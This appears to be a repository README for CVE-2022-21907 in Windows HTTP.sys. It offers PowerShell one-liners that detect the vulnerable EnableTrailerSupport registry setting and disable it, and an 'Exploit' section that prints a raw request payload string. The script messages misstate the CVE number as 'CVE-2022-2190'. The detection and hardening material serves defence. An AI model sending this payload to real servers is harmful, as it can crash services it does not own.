CVE-2022-21907
Description
This repository detects a system vulnerable to CVE-2022-21907 (CVSS:3.1 9.8), protects against this vulnerability if desired and exploit it with python and powershell (a payload is available). I offer 2 powershell codes in 1 line.
Codes
Only detect
$ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and $(Write-Host "$env:computername vulnerable to CVE-2022-2190 !")
$ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 !"}else{echo "Not vulnerable to CVE-2022-2190"}
With protection
Run these scripts as administrator to protect your computer/server.
$ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and ($(Write-Host "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0") -or $(Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0))
$ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0";Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0}else{echo "Not vulnerable to CVE-2022-2190"}
Exploit
AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,
Sources
Licence
Licensed under the GPL, version 3.
2 Feb 15, 2022
25 Oct 14, 2022
431 Dec 22, 2022
43 Nov 9, 2022
6 Dec 28, 2022
8 Feb 27, 2022
20 Aug 25, 2022
108 Dec 4, 2021
165 Dec 21, 2022
14 Dec 23, 2022
20 Dec 13, 2022
75 Nov 25, 2022
51 Dec 15, 2022
4 Sep 06, 2022
1 Dec 14, 2021
19 Nov 15, 2022
81 Dec 20, 2022
22 Dec 27, 2022
168 Nov 09, 2022
62 Jan 08, 2023
34 May 13, 2022
15 Feb 21, 2022
3 Oct 18, 2022
21 Aug 12, 2022
8 Jun 29, 2022
28 Dec 29, 2022
74 Dec 23, 2022
33 Sep 28, 2022
7 Jan 07, 2022